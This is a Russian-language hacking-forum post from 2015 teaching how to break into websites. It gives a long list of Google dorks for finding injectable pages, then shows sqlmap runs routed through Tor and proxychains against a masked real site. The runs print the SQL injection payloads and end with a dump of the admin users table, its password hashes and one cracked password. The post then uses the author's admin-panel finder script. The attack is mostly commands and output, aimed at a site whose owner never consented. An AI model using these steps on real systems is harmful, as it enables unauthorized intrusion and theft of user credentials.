[Статья] Знакомство с простейшей пенетрацией веб-ресурсов ¶
By: numitira on 2015-08-16 19 ч.
[Статья] Знакомство с простейшей пенетрацией веб-ресурсов
Добрый всем день. Вследствии недавно вышедшего обновления Kali Sana, хочу немного поделится с участниками форума информацией о простой пенетрации. Метод старый как мир, но все же полезен и работает.
Задача: найти уязвимый ресурс, получение его базы данных, получения доступа к ресурсу, его изучение и использование возможностей.
PS Все данные (ссылки, логины, пароли, хэш) я изменил, дабы не деанонить ни себя, ни атакуемый ресурс. Суть от этого не меняется.
Что нам нужно подготовить для полноценного ознакомления?
Основной инструмент - сканер Sqlmap.
Скачать можно здесь, там же есть ссылка на гитхаб.
Я использую версию 1.0-dev-nongit-20150814.
Чтобы узнать версию программы выполняем:
sqlmap --version
Язык Perl для использования специализированного скрипта.
Установить можно из репозитория:
sudo apt-get install perl
Вспомогательныйй софт, который может понадобится - ophcrack и httrack.
О них будет отдельно ниже.
Дорки Гугла для поиска уязвимых веб-ресурсов.
База для поиска здесь.
NB! Что это такое?
Специальные запросы для более простого поиска и обработки информации, в нашем случае - поиск по предполоагемым уязвимым местам. Нам нужны два - inurl и allinurl.
Распространенные и актуальные на август 2015 дорки inurl:
inurl:item_id=
inurl:review.php?id=
inurl:hosting_info.php?id=
inurl:newsid=
inurl:iniziativa.php?in=
inurl:gallery.php?id=
inurl:trainers.php?id=
inurl:curriculum.php?id=
inurl:rub.php?idr=
inurl:news-full.php?id=
inurl:labels.php?id=
inurl:view_faq.php?id=
inurl:news_display.php?getid=
inurl:story.php?id=
inurl:artikelinfo.php?id=
inurl:index2.php?option=
inurl:look.php?ID=
inurl:detail.php?ID=
inurl:readnews.php?id=
inurl:newsone.php?id=
inurl:index.php?=
inurl:top10.php?cat=
inurl:aboutbook.php?id=
inurl:profile_view.php?id=
inurl:newsone.php?id=
inurl:material.php?id=
inurl:category.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:index.php?catid=
inurl:news.php?catid=
inurl:index.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:news_view.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:historialeer.php?num=
inurl:show_an.php?id=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:preview.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:loadpsb.php?id=
inurl:transcript.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:channel_id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:loadpsb.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:art.php?idm=
inurl:title.php?id=
inurl:recruit_details.php?id=
inurl:+union+select+ от
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:declaration_more.php?decl_id=
inurl:games.php?id=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:loadpsb.php?id=
inurl:spr.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:category.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:shop.php?do=part&id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:shopping.php?id=
inurl:show_item_details.cfm?item_id=
inurl:showbook.cfm?bookid=
inurl:showStore.cfm?catID=
inurl:shprodde.cfm?SKU=
inurl:specials.cfm?id=
inurl:store.cfm?id=
inurl:store_bycat.cfm?id=
inurl:store_listing.cfm?id=
inurl:Store_ViewProducts.cfm?Cat=
inurl:store-details.cfm?id=
inurl:storefront.cfm?id=
inurl:storefronts.cfm?title=
inurl:storeitem.cfm?item=
inurl:StoreRedirect.cfm?ID=
inurl:subcategories.cfm?id=
inurl:tek9.cfm?
inurl:template.cfm?Action=Item&pid=
inurl:topic.cfm?ID=
inurl:tuangou.cfm?bookid=
inurl:type.cfm?iType=
inurl:updatebasket.cfm?bookid=
inurl:updates.cfm?ID=
inurl:view.cfm?cid=
inurl:view_cart.cfm?title=
inurl:view_detail.cfm?ID=
inurl:viewcart.cfm?CartId=
inurl:viewCart.cfm?userID=
inurl:viewCat_h.cfm?idCategory=
inurl:viewevent.cfm?EventID=
inurl:viewitem.cfm?recor=
inurl:viewPrd.cfm?idcategory=
inurl:ViewProduct.cfm?misc=
inurl:voteList.cfm?item_ID=
inurl:whatsnew.cfm?idCategory=
inurl:WsAncillary.cfm?ID=
inurl:WsPages.cfm?ID=
Подготовили все необходимое? Отлично. Начнем с небольшой теории простыми словами.
Что такое SQL-инъекция?
Хочу донести простой аналогией. Представьте себе КПП на заводе, где охранник - принципиальный и сильный маразматичный дед, но очень тупой. Парень-SQL подходит к посту и начинает выспрашивать у деда, как выглядят у него на заводе работяги. Дед ему отвечает, ибо он тупой. Тогда парень на глазах у деда переодевается в форму - и спрашивает - "Так можно пройти?". Если форма подходит под правила завода, дед его пропускает, а парень идет на склад, переодевается в кладовщика и далее по нарастающей.
Какие основные типы инъекций мы можем осуществить?
1) UNION query SQL injection.
Вариант внедрения кода при прямом возвращении результата, работает циклично.
2) Error-based SQL injection.
Вариант внедрения заведомо неправильного выражения и считывая ответ, ищет логические ошибки.
3) Stacked queries SQL injection.
Вариант внедрения кода с последовательным запросом, правит параметры и добавляет в конце скульзапрос.
4) Boolean-based blind SQL injection.
Вариант внедрения слепой инъекции, при которой данные из базы не возвращаются, а отправляются правильно сформированные запросы шаг за шагом, после которых путем сравнения формируется нужный запрос.
5) Time-based blind SQL injection.
Вариант внедрения полностью слепой инъекции, подобным предыидущему, но с добавлением подзапроса на паузу в СУБД.
Что такое СУБД и какие СУБД поддерживаются? Что такое WAF?
СУБД (DBMS) - Система управления базой данных.
Поддерживаются - MySQL, Oracle, PostSQL, Microsoft SQLServer/Access, SQLite, Firebird и другие.
WAF - Брандмауэр для веб-ресурса. Средство защиты от направленных атак. Не преграда для любознательных.
Что такое information_schema?
information_schema - стандартное название СУБД, стоит всегда рядом с пользовательским базами, которые нам и нужны в первую очередь.
Кратко ознакомились, начнем поиск уязвимого ресурса. Можно это делать и руками в поисковой строке, но зачем, если такая функция присутствует в самом сканере?
Выберем строку дорка, скажем inurl:news-read.php?id=
Хрустим пальцами, открывает терминал и пишем:
sqlmap -g inurl:news-read.php?id= --random-agent --proxy=socks5://127.0.0.1:9150
Сразу же мы видим, при запросе вывода через Tor гугл начинает ругаться.
[23:07:12] [INFO] first request to Google to get the session cookie
[23:07:14] [INFO] using Google result page #1
[23:07:16] [CRITICAL] Google has detected 'unusual' traffic from used IP address disabling further searches
Не беда)
Запускаем проксичейн, настраиваем сканер на работу через ssh-туннель и дело в шляпе.
Пишем:
proxychains sqlmap -g news-read.php?id= --random-agent
Что мы видим?
[*] starting at 23:20:17
[23:20:17] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51'
[23:20:17] [INFO] first request to Google to get the session cookie
[23:20:17] [INFO] using Google result page #1
[23:20:18] [INFO] sqlmap got 72 results for your Google dork expression, 42 of them are testable targets
[23:20:18] [INFO] sqlmap got a total of 42 targets
...тут лишнии строки вырежем...
URL 10:
GET https://atn.ua/news-read.php?id=67312
do you want to test this URL? [Y/n/q]
> n
URL 11:
GET https://atn.ua/news-read.php?id=66577
do you want to test this URL? [Y/n/q]
> n
...и тут...
URL N:
GET https://HIDEADRESS.com/news-read.php?id=9835
do you want to test this URL? [Y/n/q]
> q
А видим мы, что под нашу строку гугл выдал 42 потенциально уязвимых обьекта. Мы остановимся на обьекте номер N. Тут можно либо сразу начать процесс, нажав Y (Да), либо, как сделал я, перезапустить процесс через Тор. Сделать это можно с помощью параметра --proxy и с помощью параметра --tor, в зависимости от вашей настройки. Я буду подключатся через параметр прокси.
Для справки. Также я запускал сканер через проксичейн, но в виду влияния Сатурна процесс идет несравнимо медленней штатного запуска через прокси.
Записывается он в таком формате :
--proxy='http,socks'://ip:port
И раз уж зашла речь о параметрах, кратко опишу те, которые могут нам понадобится:
-u URL Вводим адрес атакуемого ресурса
-g GOOGLEDORK Вводим данные для использоавния дорков гугла
--random-agent Подменяем юзер-агент на случайный из базы
--proxy=PROXY Используем прокси для соеденения
--tor Используем Тор для соеденения
--level=LEVEL Уровни для тестирования (1-5, по умолчанию 1)
--risk=RISK Расширенные наборы тестов (1-3, по умолчанию 1)
--banner Запрос баннера ресурса
--current-user Запрос юзер-агента
--current-db Запрос СУБД
--passwords Запрос на сохраненные пароли
--tables Запрос на нумерацию таблиц
--columns Запрос на нумерацию столбцов
--dump Запрос на формирование дампа
-D DB Выбор базы данных
-T TBL Выбор таблицы
-C COL Выбор столбца таблицы
--dbs Нумерация баз данных
--tamper Скрипты для нахождения обхода защиты
Полный список скриптов для тампера есть тут.
Итак, жертва выбрана. Пошли дальше.
NB! Нужно понимать, как работает следующий процесс.
Веб-ресурсы, которые открыты для инъекций, выводят нам сообщение об ошибке при запросе недопустимого параметра, к примеру одиночного символа в конце строки. Помимо подтверждения о наличии уязвимости, мы также может доподлинно установить, какая СУБД используется. Если в ошибке написано о MySQL - значит используется MySQl. Если Oracle - то Oracle и т.д.
Используем команду:
sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 --dbs
esida@laptop:~$ sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150814}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:16:51
[21:16:51] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1'
[21:16:51] [INFO] testing connection to the target URL
[21:16:53] [INFO] testing if the target URL is stable
[21:16:55] [INFO] target URL is stable
[21:16:55] [INFO] testing if GET parameter 'id' is dynamic
[21:16:56] [INFO] confirming that GET parameter 'id' is dynamic
[21:16:57] [INFO] GET parameter 'id' is dynamic
[21:16:59] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[21:17:00] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[21:17:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:17:05] [WARNING] reflective value(s) found and filtering out
[21:17:10] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[21:17:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[21:17:11] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[21:17:11] [INFO] testing 'MySQL inline queries'
[21:17:12] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[21:17:12] [WARNING] time-based comparison requires larger statistical model, please wait..................
[21:17:37] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[21:17:39] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[21:17:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:17:42] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[21:17:43] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[21:17:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[21:17:56] [INFO] GET parameter 'id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[21:17:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:17:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:17:59] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:18:06] [INFO] target URL appears to have 10 columns in query
[21:18:13] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
y
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=35 AND 2802=2802
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=35 AND (SELECT 4044 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT (ELT(4044=4044,1))),0x716b7a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=35 AND (SELECT * FROM (SELECT(SLEEP(5)))YImF)
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: id=35 UNION ALL SELECT NULL,CONCAT(0x7176626271,0x4b4477444e64524a6665,0x716b7a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[21:18:24] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[21:18:24] [INFO] fetching database names
[21:18:26] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[21:18:28] [WARNING] the SQL query provided does not return any output
[21:18:30] [INFO] the SQL query used returns 2 entries
[21:18:31] [INFO] retrieved: information_schema
[21:18:33] [INFO] retrieved: main_HIDEADRESS
available databases [2]:
[*] information_schema
[*] main_HIDEADRESS
[21:18:33] [INFO] fetched data logged to text files under '/home/esida/.sqlmap/output/HIDEADRESS.com'
[*] shutting down at 21:18:33
В данном коде мы видим, какие инъекции были использованы и какая СУБД была найдена.
Также мы видим нужную нам БД - это main_HIDEADRESS
Теперь выберем ее и подадим запрос на построение таблиц.
sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS --tables
esida@laptop:~$ sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS --tables
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150814}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:19:29
[21:19:29] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2'
[21:19:29] [INFO] resuming back-end DBMS 'mysql'
[21:19:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=35 AND 2802=2802
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=35 AND (SELECT 4044 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT (ELT(4044=4044,1))),0x716b7a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=35 AND (SELECT * FROM (SELECT(SLEEP(5)))YImF)
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: id=35 UNION ALL SELECT NULL,CONCAT(0x7176626271,0x4b4477444e64524a6665,0x716b7a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[21:19:32] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[21:19:32] [INFO] fetching tables for database: 'main_HIDEADRESS'
[21:19:34] [WARNING] reflective value(s) found and filtering out
[21:19:34] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[21:19:35] [WARNING] the SQL query provided does not return any output
[21:19:37] [INFO] the SQL query used returns 6 entries
[21:19:38] [INFO] retrieved: category
[21:19:39] [INFO] retrieved: listing_category
[21:19:41] [INFO] retrieved: listings
[21:19:42] [INFO] retrieved: news
[21:19:44] [INFO] retrieved: testimonials
[21:19:46] [INFO] retrieved: users
Database: main_HIDEADRESS
[6 tables]
+------------------+
| category |
| listing_category |
| listings |
| news |
| testimonials |
| users |
+------------------+
[21:19:46] [INFO] fetched data logged to text files under '/home/esida/.sqlmap/output/HIDEADRESS.com'
[*] shutting down at 21:19:46
Мы видим, что таблиц 6. Почему то мне кажется, что учетка администратора должна быть в таблице users. Давайте посмотрим. Выбираем таблицу и подаем запрос на дамп. Можно было использовать параметр --columns для построения столбцов таблицы, но я чую, что это то что нам нужно.
Команда:
sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS -T users --dump
esida@laptop:~$ sqlmap -u https://HIDEADRESS.com/news-read.php?id=9835 --random-agent --proxy=socks5://127.0.0.1:9150 -D main_HIDEADRESS -T users --dump
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150814}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:20:21
[21:20:21] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7'
[21:20:21] [INFO] resuming back-end DBMS 'mysql'
[21:20:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=35 AND 2802=2802
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=35 AND (SELECT 4044 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT (ELT(4044=4044,1))),0x716b7a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=35 AND (SELECT * FROM (SELECT(SLEEP(5)))YImF)
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: id=35 UNION ALL SELECT NULL,CONCAT(0x7176626271,0x4b4477444e64524a6665,0x716b7a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[21:20:24] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[21:20:24] [INFO] fetching columns for table 'users' in database 'main_HIDEADRESS'
[21:20:25] [WARNING] reflective value(s) found and filtering out
[21:20:25] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[21:20:26] [WARNING] the SQL query provided does not return any output
[21:20:28] [INFO] the SQL query used returns 6 entries
[21:20:32] [INFO] retrieved: user_id
[21:20:34] [INFO] retrieved: int(4)
[21:20:35] [INFO] retrieved: user_name
[21:20:37] [INFO] retrieved: varchar(32)
[21:20:38] [INFO] retrieved: user_pwd
[21:20:40] [INFO] retrieved: varchar(32)
[21:20:41] [INFO] retrieved: user_email
[21:20:43] [INFO] retrieved: varchar(100)
[21:20:44] [INFO] retrieved: user_edate
[21:20:46] [INFO] retrieved: datetime
[21:20:47] [INFO] retrieved: user_isactive
[21:20:49] [INFO] retrieved: int(1)
[21:20:49] [INFO] fetching entries for table 'users' in database 'main_HIDEADRESS'
[21:20:52] [WARNING] the SQL query provided does not return any output
[21:20:53] [INFO] the SQL query used returns 2 entries
[21:20:54] [INFO] retrieved: 2015-01-08 09:55:00
[21:20:55] [INFO] retrieved: [email protected]
[21:20:56] [INFO] retrieved: 2
[21:20:58] [INFO] retrieved: 1
[21:20:59] [INFO] retrieved: WPAdm1n
[21:21:00] [INFO] retrieved: 092843e5d323469872340dbd219953bf62
[21:21:02] [INFO] retrieved: 2015-01-08 08:13:00
[21:21:03] [INFO] retrieved: [email protected]
[21:21:05] [INFO] retrieved: 3
[21:21:06] [INFO] retrieved: 1
[21:21:08] [INFO] retrieved: MdG2015
[21:21:12] [INFO] retrieved: 092843e5d323469872340dbd219953bf62
Database: main_HIDEADRESS
Table: users
[2 entries]
+---------+-----------------+--------------+---------------------+-----------------------+---------------+
| user_id | user_pwd | user_name | user_edate | user_email | user_isactive |
+---------+-----------------+--------------+---------------------+-----------------------+---------------+
| 2 | 092843e5d323469872340dbd219953bf62 | WPAdm1n | 2015-01-08 09:35:00 | [email protected]| 1 |
| 3 | 092843e5d323469872340dbd219953bf62 | MdG2015 | 2015-01-08 12:14:00 | [email protected] | 1 |
+---------+-----------------+--------------+---------------------+-----------------------+---------------+
[21:21:12] [INFO] table 'main_HIDEADRESS.com.users' dumped to CSV file '/home/esida/.sqlmap/output/HIDEADRESS.com.com/dump/main_HIDEADRESS.com/users.csv'
[21:21:12] [INFO] fetched data logged to text files under '/home/esida/.sqlmap/output/HIDEADRESS.com'
[*] shutting down at 21:21:12
В дампе мы видим столбцы с айди, паролем, логином, датой и почтой.
Пароль захеширован, и его нужно расшифровать. Ничего, для этого у нас есть ophcrack. Но постойте, а что если данный хеш погуглить? Гуглим:
md5 hash:
092843e5d323469872340dbd219953bf62
Encoded Value:
adminr00t,q123
Как все просто. Как вы могли увидеть, данный хэш был включен в радужную таблицу.
Однако, даже если бы его там не было, у нас на подхвате были варианты:
Сканер сам бы предложила расшифровать хэш, что сделать нетрудно, используя встроенный или внешний словарь. Либо мы бы использовали дополнительный софт.
Так, теперь у нас есть данные от базы. Как же их использовать? Для начала - зайти в админку.
Для этого используем скрипт с автоматизации поиска. Раньше я пользовался чужими скриптами, но недавно написал свой. Его и будет использовать. Скачать можно тут, код прокомментирован и интуитивно понятен.
Запускаем скрипт в терминале, используя проксичейн. Все написано на русском языке и автоматизированно.
Запускаем командой:
proxychains perl findadminpanel.pl
esida@laptop:~$ proxychains perl findadminpanel.pl
ProxyChains-3.1 (https://proxychains.sf.net)
=========================================================================
Find Admin Control Panel
Product is Feeling/Reseau Group
Author: numitira
Contact us: numitira @ zloy.im
=========================================================================
=========================================================================
= Введите url-адрес ресурса, на котором вы хотите осуществить поиск панели управления =
= Примеры: https://www.fsbsite.ru/, www.mvdlook.net, mysosedismad.com, abv.info/path/ =
===========================================================================================
-> https://www.HIDEADRESS.com
=========================================================================
= Выберите модель поиска из предложенных вариантов: =
= Выбери вариант '1' для поиска php, html и типичных вариантов =
= Выбери вариант '2' для поиска html, asp и aspx =
= Выбери вариант '3' для поиска всех возможных вариантов из базы =
=========================================================================
-> 1
-> Цель: https://www.HIDEADRESS.com/
-> Выбрана модель: 1
-> Процесс запущен. Ищем панель управления...
... вырежем ненайденные строки...
|DNS-request| HIDEADRESS.com
|S-chain|-<>-127.0.0.1:9150-<><>-2.2.2.2:53-<><>-OK
|DNS-response| HIDEADRESS.com is 72.127.212.16
....
Найдено по адресу: -> https://HIDEADRESS.com/usuarios/
Скрипт смело юзайте, он нашел мне админки на сайтах, на которых не находили публичные скрипты, заодно и ошибки выявите.
Нужно сказать, что число ложных срабатываний (когда вместо админки находятся недокументированные пути в адресе) достаточное, но их тоже можно использовать.
Нам повезло, в базе данных моего скрипта был путь к админке атакуемого ресурса.
Если же путь не найден, то сначал делаем самые простые вещи: смотрим вход в админку прямо на сайте (такое часто бывает), смотри файл /robots.txt или запускаем упомянутый выше httrack.
Данная софтина делает копию атакуемого сайта, и таким образом можно ознакомится со структурой страниц.
Устанавливаем:
apt-get install httrack
Запускаем:
httrack
Пишем имя проекта, каталог, вводим адрес нужного ресурса, выбираем опцию:
1. Создать зеркало сайта (сайтов)
2. Создать зеркало сайта (сайтов) с мастером
3. Просто получить указанные файлы
4. Сделать зеркало всех ссылок в URL
5. Протестировать ссылки в URL (Тест закладок)
6. Выход
И наслаждаемся процессом.
В заключении хочу сказать, что возможности сканера в комплекте с вышеупомянутым очень широки, и я был бы очень рад, если бы больше людей прониклись интересом к сабжу.
Александр Овчепятович Зеленодинов-Зеленодилов-Залдостанов, 23.11.1983 AD
Говорят, что состою в паблике Злой Медик (или как то так) и что-то там пишу.